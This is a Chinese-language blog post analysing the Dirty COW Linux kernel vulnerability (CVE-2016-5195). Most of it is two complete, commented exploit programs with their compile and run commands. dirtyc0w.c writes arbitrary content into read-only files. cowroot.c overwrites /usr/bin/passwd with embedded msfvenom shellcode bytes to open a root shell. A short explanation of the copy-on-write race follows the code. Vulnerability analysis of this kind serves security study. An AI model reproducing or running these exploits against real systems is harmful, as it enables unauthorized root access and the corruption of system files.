1617 words
8 minutes
Dirty Cow(CVE-2016-5195) 漏洞分析

CVE-2016-5195,又被称为Dirty COW(脏牛漏洞),是一个存在于Linux内核中的严重本地权限提升漏洞。这个漏洞首先在2016年被发现,其名称来源于“Copy-On-Write”机制的缩写“COW”,CVE-2016-5195是一个内核竞态条件漏洞,影响范围:Linux Kernel > 2.6.22。

实验环境#

VMware虚拟机

Linux 4.4.0

漏洞复现#

dirtyc0w.c这个PoC可以实现向任意可读文件写任意内容。

dirtyc0w.c
#include <stdio.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdint.h>
void *map; //存储文件映射的内存地址
int f; //文件描述符
struct stat st; //存储文件的状态信息
char *name; //文件名
/* madviseThread 函数
* 该函数在一个独立线程中运行,通过不断调用 madvise 来让操作系统认为映射的页面不再需要。
* 传入的参数是目标文件的名称,执行系统调用 madvise。
*/
void *madviseThread(void *arg)
{
char *str;
str=(char*)arg;
int i,c=0;
for(i=0;i<100000000;i++) // 循环多次调用 madvise,制造竞争条件
{
/*
* madvise 函数告诉操作系统指定内存区域的使用方式。
* MADV_DONTNEED 提示系统不再需要该内存区域的内容,
* 操作系统可以丢弃该区域的页面,促使文件重新加载进内存。
*/
c+=madvise(map,100,MADV_DONTNEED);
}
printf("madvise %d\n\n",c);
}
/* procselfmemThread 函数
* 该函数在另一个线程中运行,不断地向 /proc/self/mem 写入数据。
* 传入的参数是目标文件的新内容。
*/
void *procselfmemThread(void *arg)
{
char *str;
str=(char*)arg; // 获取传入的新内容
/*
* /proc/self/mem 是一个特殊文件,允许进程访问自己内存中的内容。
* 打开这个文件后可以对进程内存中的内容进行读写操作。
*/
int f=open("/proc/self/mem",O_RDWR);
int i,c=0;
for(i=0;i<100000000;i++) { // 循环多次写入数据,制造竞争条件
/*
* lseek 将文件指针移动到映射的内存区域,便于写入新的内容。
* map 是映射的内存地址,我们通过 lseek 定位到该地址。
*/
lseek(f,(uintptr_t) map,SEEK_SET); // 将文件指针重置到映射的内存位置
/*
* write 函数用于向文件写入数据,在这里向映射的内存中写入新内容。
* 由于有竞争条件,这个写操作会覆盖文件的原始内容。
*/
c+=write(f,str,strlen(str));
}
printf("procselfmem %d\n\n", c);
}
int main(int argc,char *argv[])
{
if (argc<3) {
(void)fprintf(stderr, "%s\n",
"usage: dirtyc0w target_file new_content");
return 1;
}
pthread_t pth1,pth2;
f=open(argv[1],O_RDONLY);
fstat(f,&st);
name=argv[1];
/*
* 使用 mmap 将文件映射到内存中,使用 MAP_PRIVATE 和 PROT_READ。
* MAP_PRIVATE 表示私有映射,修改不会影响其他映射该文件的进程。
* PROT_READ 表示映射区域是只读的。
*/
map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
printf("mmap %zx\n\n",(uintptr_t) map);
/*
* 创建两个线程:
* - 第一个线程调用 madviseThread,传入文件名,制造竞争条件。
* - 第二个线程调用 procselfmemThread,传入新内容,尝试修改文件内容。
*/
pthread_create(&pth1,NULL,madviseThread,argv[1]);
pthread_create(&pth2,NULL,procselfmemThread,argv[2]);
// 等待两个线程执行完毕,使用 pthread_join 确保主线程在它们结束前不会退出。
pthread_join(pth1,NULL);
pthread_join(pth2,NULL);
return 0;
}

执行shell命令:

Terminal window
####################### dirtyc0w.c #######################
$ sudo -s
# echo this is not a test > foo
# chmod 0404 foo
$ ls -lah foo
-r-----r-- 1 root root 19 Oct 20 15:23 foo
$ cat foo
this is not a test
$ gcc -pthread dirtyc0w.c -o dirtyc0w
$ ./dirtyc0w foo m00000000000000000
mmap 56123000
madvise 0
procselfmem 1800000000
$ cat foo
m00000000000000000
####################### dirtyc0w.c #######################

cowroot.c可以实现提权。

cowroot.c
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <unistd.h>
void *map;
int f;
int stop = 0;
struct stat st;
char *name;
pthread_t pth1,pth2,pth3;
// change if no permissions to read
char suid_binary[] = "/usr/bin/passwd";
/*
* $ msfvenom -p linux/x64/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i
*/
unsigned char sc[] = {
0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
0xb1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xea, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x48, 0x31, 0xff, 0x6a, 0x69, 0x58, 0x0f, 0x05, 0x6a, 0x3b, 0x58, 0x99,
0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48,
0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8,
0x0a, 0x00, 0x00, 0x00, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73,
0x68, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05
};
unsigned int sc_len = 177;
/*
* $ msfvenom -p linux/x86/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i
unsigned char sc[] = {
0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00,
0x54, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x88, 0x00, 0x00, 0x00,
0xbc, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00,
0x31, 0xdb, 0x6a, 0x17, 0x58, 0xcd, 0x80, 0x6a, 0x0b, 0x58, 0x99, 0x52,
0x66, 0x68, 0x2d, 0x63, 0x89, 0xe7, 0x68, 0x2f, 0x73, 0x68, 0x00, 0x68,
0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x52, 0xe8, 0x0a, 0x00, 0x00, 0x00,
0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 0x68, 0x00, 0x57, 0x53,
0x89, 0xe1, 0xcd, 0x80
};
unsigned int sc_len = 136;
*/
void *madviseThread(void *arg)
{
char *str;
str=(char*)arg;
int i,c=0;
for(i=0;i<1000000 && !stop;i++) {
c+=madvise(map,100,MADV_DONTNEED);
}
printf("thread stopped\n");
}
void *procselfmemThread(void *arg)
{
char *str;
str=(char*)arg;
int f=open("/proc/self/mem",O_RDWR);
int i,c=0;
for(i=0;i<1000000 && !stop;i++) {
lseek(f,map,SEEK_SET);
c+=write(f, str, sc_len);
}
printf("thread stopped\n");
}
void *waitForWrite(void *arg) {
char buf[sc_len];
for(;;) {
FILE *fp = fopen(suid_binary, "rb");
fread(buf, sc_len, 1, fp);
if(memcmp(buf, sc, sc_len) == 0) {
printf("%s overwritten\n", suid_binary);
break;
}
fclose(fp);
sleep(1);
}
stop = 1;
printf("Popping root shell.\n");
printf("Don't forget to restore /tmp/bak\n");
system(suid_binary);
}
int main(int argc,char *argv[]) {
char *backup;
printf("DirtyCow root privilege escalation\n");
printf("Backing up %s to /tmp/bak\n", suid_binary);
asprintf(&backup, "cp %s /tmp/bak", suid_binary);
system(backup);
f = open(suid_binary,O_RDONLY);
fstat(f,&st);
printf("Size of binary: %d\n", st.st_size);
char payload[st.st_size];
memset(payload, 0x90, st.st_size);
memcpy(payload, sc, sc_len+1);
map = mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
printf("Racing, this may take a while..\n");
pthread_create(&pth1, NULL, &madviseThread, suid_binary);
pthread_create(&pth2, NULL, &procselfmemThread, payload);
pthread_create(&pth3, NULL, &waitForWrite, NULL);
pthread_join(pth3, NULL);
return 0;
}

shell命令:

Terminal window
##(un)comment correct payload first (x86 or x64)!
gcc cowroot.c -o cowroot -pthread
./cowroot

漏洞分析#

分析漏洞需要了解以下知识:

  • 写时拷贝
  • 页式内存管理
  • 缺页中断处理

该漏洞的成因是get_user_page内核函数在处理Copy-on-Write(以下使用COW表示)的过程中,可能发生竞态条件造成COW过程被破坏,导致出现写数据到进程地址空间内只读内存区域的机会。当我们向带有MAP_PRIVATE标志的只读文件映射区域写数据时,会产生一个映射文件的复制(COW),对此区域的任何修改都不会写回原来的文件,如果上述的竞态条件发生,就能成功的写回原来的文件。比如我们修改su或者passwd程序就可以达到root的目的。

其中,MAP_PRIVATE标志指示创建的映射区域是写时拷贝的私有映射区域,且对映射区域的任何写操作都不会影响底层文件或其他进程

Dirty Cow(CVE-2016-5195) 漏洞分析
https://fuwari.vercel.app/posts/cve-2016-5195dirty-cow漏洞分析未完待续/
Author
Aur0r3
Published at
2025-06-19
License
CC BY-NC-SA 4.0